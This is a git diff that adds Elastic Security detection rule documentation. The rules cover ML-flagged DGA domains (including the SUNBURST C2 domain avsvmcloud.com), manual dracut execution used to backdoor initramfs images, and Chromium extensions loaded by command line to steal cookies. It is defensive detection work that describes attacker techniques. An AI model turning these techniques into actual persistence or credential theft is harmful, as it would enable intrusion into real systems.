a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-machine-learning-detected-a-dns-request-predicted-to-be-a-dga-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-machine-learning-detected-a-dns-request-predicted-to-be-a-dga-domain.asciidoc new file mode 100644 index 0000000000..8a25bec70b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-machine-learning-detected-a-dns-request-predicted-to-be-a-dga-domain.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-machine-learning-detected-a-dns-request-predicted-to-be-a-dga-domain]] +=== Machine Learning Detected a DNS Request Predicted to be a DGA Domain + +A supervised machine learning model has identified a DNS question name that is predicted to be the result of a Domain Generation Algorithm (DGA), which could indicate command and control network activity. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-10m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/dga +* https://www.elastic.co/security-labs/detect-domain-generation-algorithm-activity-with-new-kibana-integration + +*Tags*: + +* Domain: Network +* Domain: Endpoint +* Data Source: Elastic Defend +* Use Case: Domain Generation Algorithm Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Command and Control +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Machine Learning Detected a DNS Request Predicted to be a DGA Domain* + + +Machine learning models can identify patterns in DNS requests that suggest the use of Domain Generation Algorithms (DGAs), which adversaries use to dynamically generate domain names for command and control (C2) communication. This detection rule leverages such models to flag DNS queries likely generated by DGAs, excluding known benign domains, thus helping to identify potential C2 activity. + + +*Possible investigation steps* + + +- Review the DNS query logs to identify the specific domain flagged by the machine learning model as a potential DGA domain. Focus on the field ml_is_dga.malicious_prediction:1 to confirm the prediction. +- Cross-reference the flagged domain with threat intelligence sources to determine if it is associated with known malicious activity or threat actors. +- Investigate the source IP address of the DNS request to identify the device or user responsible for the query. This can help determine if the activity is isolated or part of a larger pattern. +- Analyze network traffic logs for any additional suspicious activity originating from the same source IP, such as unusual outbound connections or data transfers. +- Check for any recent changes or anomalies in the endpoint's behavior or configuration that could indicate compromise or unauthorized software installation. +- If the domain is confirmed to be malicious, initiate containment procedures to block further communication with the domain and prevent potential data exfiltration or further compromise. + + +*False positive analysis* + + +- DNS requests to content delivery networks or cloud service providers can be flagged as DGA domains due to their dynamic nature. Users should review these domains and consider adding them to an exception list if they are verified as legitimate. +- Internal applications that generate dynamic DNS requests for load balancing or failover purposes might trigger false positives. Identify these applications and exclude their domains from the rule to prevent unnecessary alerts. +- Automated testing environments often generate numerous DNS requests that can appear suspicious. Regularly update the exception list with domains used by these environments to minimize false alerts. +- Frequent updates or patches from software vendors may involve dynamic DNS requests. Verify these domains and exclude them if they are confirmed to be part of legitimate update processes. +- Consider monitoring the frequency and pattern of flagged DNS requests. If a domain is consistently flagged but verified as non-threatening, it may be a candidate for exclusion from the rule. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further potential command and control communication. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious software. +- Review and block the identified DGA domain and any associated IP addresses at the network perimeter to prevent further access. +- Analyze network traffic logs to identify any other systems that may have communicated with the DGA domain and apply similar containment measures. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the compromise. +- Implement enhanced monitoring for similar DGA patterns and update detection capabilities to quickly identify future occurrences. +- Review and update firewall and intrusion detection/prevention system (IDS/IPS) rules to block known DGA patterns and suspicious DNS activity. + +==== Setup + + + +*Setup* + + +The rule requires the Domain Generation Algorithm (DGA) Detection integration assets to be installed, as well as DNS events collected by integrations such as Elastic Defend, Network Packet Capture, or Packetbeat. + + +*DGA Detection Setup* + +The DGA Detection integration consists of an ML-based framework to detect DGA activity in DNS events. + + +*Prerequisite Requirements:* + +- Fleet is required for DGA Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- DNS events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend], https://docs.elastic.co/integrations/network_traffic[Network Packet Capture] integration, or https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-overview.html[Packetbeat]. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Network Packet Capture integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. +- To set up and run Packetbeat, follow https://www.elastic.co/guide/en/beats/packetbeat/current/setting-up-and-running.html[this] guide. + + +*The following steps should be executed to install assets associated with the DGA Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Domain Generation Algorithm Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Configure the ingest pipeline**. + + +==== Rule query + + +[source, js] +---------------------------------- +ml_is_dga.malicious_prediction:1 and not dns.question.registered_domain:avsvmcloud.com + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-machine-learning-detected-a-dns-request-with-a-high-dga-probability-score.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-machine-learning-detected-a-dns-request-with-a-high-dga-probability-score.asciidoc new file mode 100644 index 0000000000..bdc13b61f6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-machine-learning-detected-a-dns-request-with-a-high-dga-probability-score.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-machine-learning-detected-a-dns-request-with-a-high-dga-probability-score]] +=== Machine Learning Detected a DNS Request With a High DGA Probability Score + +A supervised machine learning model has identified a DNS question name with a high probability of sourcing from a Domain Generation Algorithm (DGA), which could indicate command and control network activity. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-10m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/dga +* https://www.elastic.co/security-labs/detect-domain-generation-algorithm-activity-with-new-kibana-integration + +*Tags*: + +* Domain: Network +* Domain: Endpoint +* Data Source: Elastic Defend +* Use Case: Domain Generation Algorithm Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Command and Control +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Machine Learning Detected a DNS Request With a High DGA Probability Score* + + +Machine learning models analyze DNS requests to identify patterns indicative of Domain Generation Algorithms (DGAs), often used by attackers to establish command and control channels. These algorithms generate numerous domain names, making detection challenging. The detection rule leverages a model to flag DNS queries with high DGA probability, aiding in identifying potential malicious activity. + + +*Possible investigation steps* + + +- Review the DNS query logs to identify the specific domain name associated with the high DGA probability score and gather additional context about the request, such as the timestamp and the source IP address. +- Cross-reference the identified domain name with threat intelligence databases to determine if it is a known malicious domain or associated with any known threat actors or campaigns. +- Investigate the source IP address to determine if it belongs to a legitimate user or system within the network, and check for any unusual or suspicious activity associated with this IP address. +- Analyze network traffic logs to identify any additional communication attempts to the flagged domain or other suspicious domains, which may indicate further command and control activity. +- Check endpoint security logs for any signs of compromise or suspicious behavior on the device that initiated the DNS request, such as unexpected processes or connections. +- Consider isolating the affected system from the network if there is strong evidence of compromise, to prevent further potential malicious activity while conducting a deeper forensic analysis. + + +*False positive analysis* + + +- Legitimate software updates or services may use domain generation techniques for load balancing or redundancy, leading to false positives. Users can create exceptions for known update services or trusted software to reduce these alerts. +- Content delivery networks (CDNs) often use dynamically generated domains to optimize content delivery, which might be flagged. Identifying and whitelisting these CDN domains can help minimize unnecessary alerts. +- Some security tools and applications use DGA-like patterns for legitimate purposes, such as generating unique identifiers. Users should verify the source and purpose of these requests and consider excluding them if they are confirmed to be non-threatening. +- Internal testing environments or development tools might generate domains that resemble DGA activity. Users can exclude these environments from monitoring or adjust the rule to ignore specific internal IP ranges or domain patterns. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further potential command and control communication. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious software. +- Review and block the identified suspicious domain names at the network perimeter to prevent any further communication attempts. +- Analyze network traffic logs to identify any other systems that may have communicated with the flagged domains and apply similar containment measures. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring on the affected system and network segment to detect any signs of persistence or further malicious activity. +- Update and reinforce endpoint protection measures, ensuring all systems have the latest security patches and configurations to prevent similar threats in the future. + +==== Setup + + + +*Setup* + + +The rule requires the Domain Generation Algorithm (DGA) Detection integration assets to be installed, as well as DNS events collected by integrations such as Elastic Defend, Network Packet Capture, or Packetbeat. + + +*DGA Detection Setup* + +The DGA Detection integration consists of an ML-based framework to detect DGA activity in DNS events. + + +*Prerequisite Requirements:* + +- Fleet is required for DGA Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- DNS events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend], https://docs.elastic.co/integrations/network_traffic[Network Packet Capture] integration, or https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-overview.html[Packetbeat]. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Network Packet Capture integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. +- To set up and run Packetbeat, follow https://www.elastic.co/guide/en/beats/packetbeat/current/setting-up-and-running.html[this] guide. + + +*The following steps should be executed to install assets associated with the DGA Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Domain Generation Algorithm Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Configure the ingest pipeline**. + + +==== Rule query + + +[source, js] +---------------------------------- +ml_is_dga.malicious_probability > 0.98 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-machine-learning-detected-dga-activity-using-a-known-sunburst-dns-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-machine-learning-detected-dga-activity-using-a-known-sunburst-dns-domain.asciidoc new file mode 100644 index 0000000000..42814fe70a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-machine-learning-detected-dga-activity-using-a-known-sunburst-dns-domain.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-20-machine-learning-detected-dga-activity-using-a-known-sunburst-dns-domain]] +=== Machine Learning Detected DGA activity using a known SUNBURST DNS domain + +A supervised machine learning model has identified a DNS question name that used by the SUNBURST malware and is predicted to be the result of a Domain Generation Algorithm. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-10m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/dga +* https://www.elastic.co/security-labs/detect-domain-generation-algorithm-activity-with-new-kibana-integration + +*Tags*: + +* Domain: Network +* Domain: Endpoint +* Data Source: Elastic Defend +* Use Case: Domain Generation Algorithm Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Command and Control +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Machine Learning Detected DGA activity using a known SUNBURST DNS domain* + + +Domain Generation Algorithms (DGAs) are used by adversaries to dynamically generate domain names for command and control (C2) communication, making it difficult to block malicious domains. The SUNBURST malware utilized such techniques. The detection rule leverages machine learning to identify DNS queries linked to these generated domains, specifically targeting those associated with SUNBURST, by analyzing patterns and predicting malicious activity, thus aiding in early threat detection and mitigation. + + +*Possible investigation steps* + + +- Review the DNS logs to identify the source IP address associated with the DNS query for avsvmcloud.com to determine the affected host within the network. +- Check historical DNS query logs for the identified host to see if there are additional queries to other suspicious or known malicious domains, indicating further compromise. +- Investigate the network traffic from the identified host around the time of the alert to detect any unusual patterns or connections to external IP addresses that may suggest command and control activity. +- Examine endpoint security logs and alerts for the affected host to identify any signs of SUNBURST malware or other related malicious activity. +- Correlate the alert with other security events in the environment to determine if there are any related incidents or patterns that could indicate a broader attack campaign. +- Assess the risk and impact of the detected activity on the organization and determine if immediate containment or remediation actions are necessary. + + +*False positive analysis* + + +- Legitimate software updates or network services may occasionally use domain generation algorithms for load balancing or redundancy, leading to false positives. Users should monitor and whitelist these known benign services. +- Internal testing environments or security tools that simulate DGA behavior for research or training purposes might trigger alerts. Exclude these environments by adding them to an exception list. +- Some cloud services might use dynamic DNS techniques that resemble DGA patterns. Identify and document these services, then configure exceptions to prevent unnecessary alerts. +- Frequent legitimate access to avsvmcloud.com by security researchers or analysts could be misclassified. Ensure these activities are logged and reviewed, and create exceptions for known research IPs or user accounts. +- Regularly review and update the exception list to ensure it reflects current network behavior and does not inadvertently allow new threats. + + +*Response and remediation* + + +- Isolate the affected systems immediately to prevent further communication with the malicious domain avsvmcloud.com and halt potential data exfiltration or lateral movement. +- Conduct a thorough scan of the isolated systems using updated antivirus and anti-malware tools to identify and remove any SUNBURST malware or related malicious files. +- Review and block any outbound traffic to the domain avsvmcloud.com at the network perimeter to prevent future connections from other potentially compromised systems. +- Analyze network logs and DNS query records to identify any other systems that may have communicated with the domain, and apply the same isolation and scanning procedures to those systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the compromise. +- Implement enhanced monitoring and alerting for any DNS queries or network traffic patterns indicative of DGA activity, particularly those resembling SUNBURST characteristics, to detect and respond to similar threats promptly. +- Review and update incident response and recovery plans to incorporate lessons learned from this incident, ensuring faster and more effective responses to future threats. + +==== Setup + + + +*Setup* + + +The rule requires the Domain Generation Algorithm (DGA) Detection integration assets to be installed, as well as DNS events collected by integrations such as Elastic Defend, Network Packet Capture, or Packetbeat. + + +*DGA Detection Setup* + +The DGA Detection integration consists of an ML-based framework to detect DGA activity in DNS events. + + +*Prerequisite Requirements:* + +- Fleet is required for DGA Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- DNS events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend], https://docs.elastic.co/integrations/network_traffic[Network Packet Capture] integration, or https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-overview.html[Packetbeat]. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Network Packet Capture integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. +- To set up and run Packetbeat, follow https://www.elastic.co/guide/en/beats/packetbeat/current/setting-up-and-running.html[this] guide. + + +*The following steps should be executed to install assets associated with the DGA Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Domain Generation Algorithm Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Configure the ingest pipeline**. + + +==== Rule query + + +[source, js] +---------------------------------- +ml_is_dga.malicious_prediction:1 and dns.question.registered_domain:avsvmcloud.com + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-dracut-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-dracut-execution.asciidoc new file mode 100644 index 0000000000..1093dc0ad2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-dracut-execution.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-20-manual-dracut-execution]] +=== Manual Dracut Execution + +This rule detects manual execution of the "dracut" command on Linux systems. Dracut is a tool used to generate an initramfs image that is used to boot the system. Attackers may use "dracut" to create a custom initramfs image that includes malicious code or backdoors, allowing them to maintain persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Manual Dracut Execution* + + +Dracut is a utility in Linux systems used to create initramfs images, essential for booting. Adversaries might exploit Dracut to craft malicious initramfs, embedding backdoors for persistence. The detection rule identifies unusual Dracut executions by scrutinizing process origins and excluding legitimate parent processes, flagging potential unauthorized use. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of the dracut command, focusing on the process.name and process.parent.executable fields to identify any unusual parent processes. +- Examine the command line arguments used with the dracut process by checking the process.parent.command_line field to understand the context of its execution. +- Investigate the user account associated with the dracut execution to determine if it aligns with expected administrative activity or if it indicates potential unauthorized access. +- Check the system logs and any related security alerts around the time of the dracut execution to identify any correlated suspicious activities or anomalies. +- Assess the system for any changes to the initramfs image or other boot-related files that could indicate tampering or the presence of backdoors. + + +*False positive analysis* + + +- Legitimate system updates or kernel installations may trigger the rule. To handle this, users can create exceptions for processes originating from known update paths like /usr/lib/kernel/* or /etc/kernel/install.d/*. +- Automated scripts or maintenance tasks that use dracut for legitimate purposes might be flagged. Users should identify these scripts and add their parent process names, such as dracut-install or run-parts, to the exclusion list. +- Custom administrative scripts executed by trusted users could be mistaken for suspicious activity. Users can exclude specific command lines or arguments associated with these scripts, such as /usr/bin/dracut-rebuild, to prevent false positives. +- Temporary or testing environments where dracut is used for non-malicious testing purposes might trigger alerts. Users can exclude these environments by specifying unique parent process paths or names that are characteristic of the testing setup. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement or data exfiltration by the adversary. +- Terminate any suspicious or unauthorized dracut processes identified on the system to halt any ongoing malicious activity. +- Conduct a thorough review of the initramfs images on the affected system to identify and remove any unauthorized or malicious modifications. +- Restore the system's initramfs from a known good backup to ensure the integrity of the boot process. +- Implement monitoring for any future unauthorized dracut executions by setting up alerts for similar process activities, ensuring quick detection and response. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Review and update access controls and permissions to limit the ability to execute dracut to only authorized personnel, reducing the risk of future exploitation. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.name == "dracut" and process.parent.executable != null and not ( + process.parent.executable like ( + "/usr/lib/kernel/*", "/etc/kernel/install.d/*", "/var/lib/dpkg/info/dracut.postinst", + "/tmp/newroot/*", "/usr/lib/module-init-tools/*", "/usr/bin/xargs", "/sbin/dkms", + "/sbin/mkinitrd", "/usr/bin/timeout", "/usr/sbin/dkms", "/usr/bin/systemd-inhibit" + ) or + process.parent.name in ( + "dracut-install", "dracut", "run-parts", "weak-modules", "mkdumprd", "new-kernel-pkg", "sudo" + ) or + process.parent.args like~ ("/usr/bin/dracut-rebuild", "/var/tmp/rpm-tmp.*") or + process.parent.command_line like~ "/bin/sh -c if command -v mkinitcpio*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Pre-OS Boot +** ID: T1542 +** Reference URL: https://attack.mitre.org/techniques/T1542/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-loading-of-a-suspicious-chromium-extension.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-loading-of-a-suspicious-chromium-extension.asciidoc new file mode 100644 index 0000000000..bf3befae16 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-manual-loading-of-a-suspicious-chromium-extension.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-manual-loading-of-a-suspicious-chromium-extension]] +=== Manual Loading of a Suspicious Chromium Extension + +Detects the manual loading of a Chromium-based browser extension via command line arguments. This activity is suspicious and could indicate a threat actor loading a malicious extension to persist or collect browsing secrets such as cookies and authentication tokens. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cedowens.medium.com/remotely-dumping-chrome-cookies-revisited-b25343257209 +* https://github.com/cedowens/Dump-Chrome-Cookies + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Manual Loading of a Suspicious Chromium Extension* + + +Chromium-based browsers support loading extensions from local directories using the --load-extension command line flag, bypassing the normal extension store installation process. Threat actors abuse this capability to load malicious extensions that can steal cookies, capture session tokens, intercept form submissions, or inject content into web pages. Unlike store-installed extensions, manually loaded extensions don't undergo security review and can request arbitrary permissions. This detection rule identifies browsers launched with the --load-extension flag from suspicious parent processes. + + +*Possible investigation steps* + + +- Examine the process.args containing --load-extension to identify the full path of the extension being loaded. +- Navigate to the extension directory and review the manifest.json to understand the permissions requested, including access to cookies, tabs, or web requests. +- Analyze the extension's JavaScript files for malicious functionality such as cookie exfiltration, form interception, or communication with external servers. +- Review the process.parent.executable to understand how the browser was launched with the malicious extension and trace back to the initial execution vector. +- Check for network connections made by the browser process to identify potential data exfiltration endpoints. +- Review browser profile data for evidence of credential theft or session hijacking. +- Search for the same extension path across other systems to identify potential lateral movement or widespread deployment. + + +*False positive analysis* + + +- Cypress and other automated testing frameworks load extensions for browser automation. These are already excluded in the query. +- ChromeDriver used for Selenium testing loads extensions programmatically. These paths are excluded in the query. +- Developer debugging may require manual extension loading during active development. Verify with development teams if such activities are expected. +- Enterprise browser customization may deploy internal extensions via command line. Review with IT operations to document approved extensions. + + +*Response and remediation* + + +- Immediately terminate the browser process to stop any ongoing malicious activity such as cookie theft or session hijacking. +- Remove the malicious extension directory from the filesystem to prevent future loading. +- Clear browser session data including cookies, cached credentials, and saved passwords for the affected browser profile. +- Review and revoke any sessions for sensitive web applications that were accessed while the extension was loaded. +- Investigate how the malicious extension was deployed and remediate the initial access vector. +- Block the malicious extension path or hash in endpoint security policies to prevent reloading. +- Reset passwords for web accounts that may have been compromised through the malicious extension. +- Check browser sync settings to ensure the malicious extension doesn't propagate to other devices. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.action == "exec" and + process.name in ("Google Chrome", "Brave Browser", "Microsoft Edge") and + process.args like "--load-extension=/*" and + not (process.args like "--load-extension=/Users/*/Library/Application Support/Cypress/*" and + process.parent.executable like ("/Applications/Google Chrome.app/Contents/MacOS/Google Chrome", + "/Users/*/Library/Caches/Cypress/*/Cypress.app/Contents/MacOS/Cypress")) and + not process.parent.executable like ("/opt/homebrew/Caskroom/chromedriver/*/chromedriver", + "/Applications/Cypress.app/Contents/MacOS/Cypress", + "/usr/local/bin/chromedriver") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Software Extensions +** ID: T1176 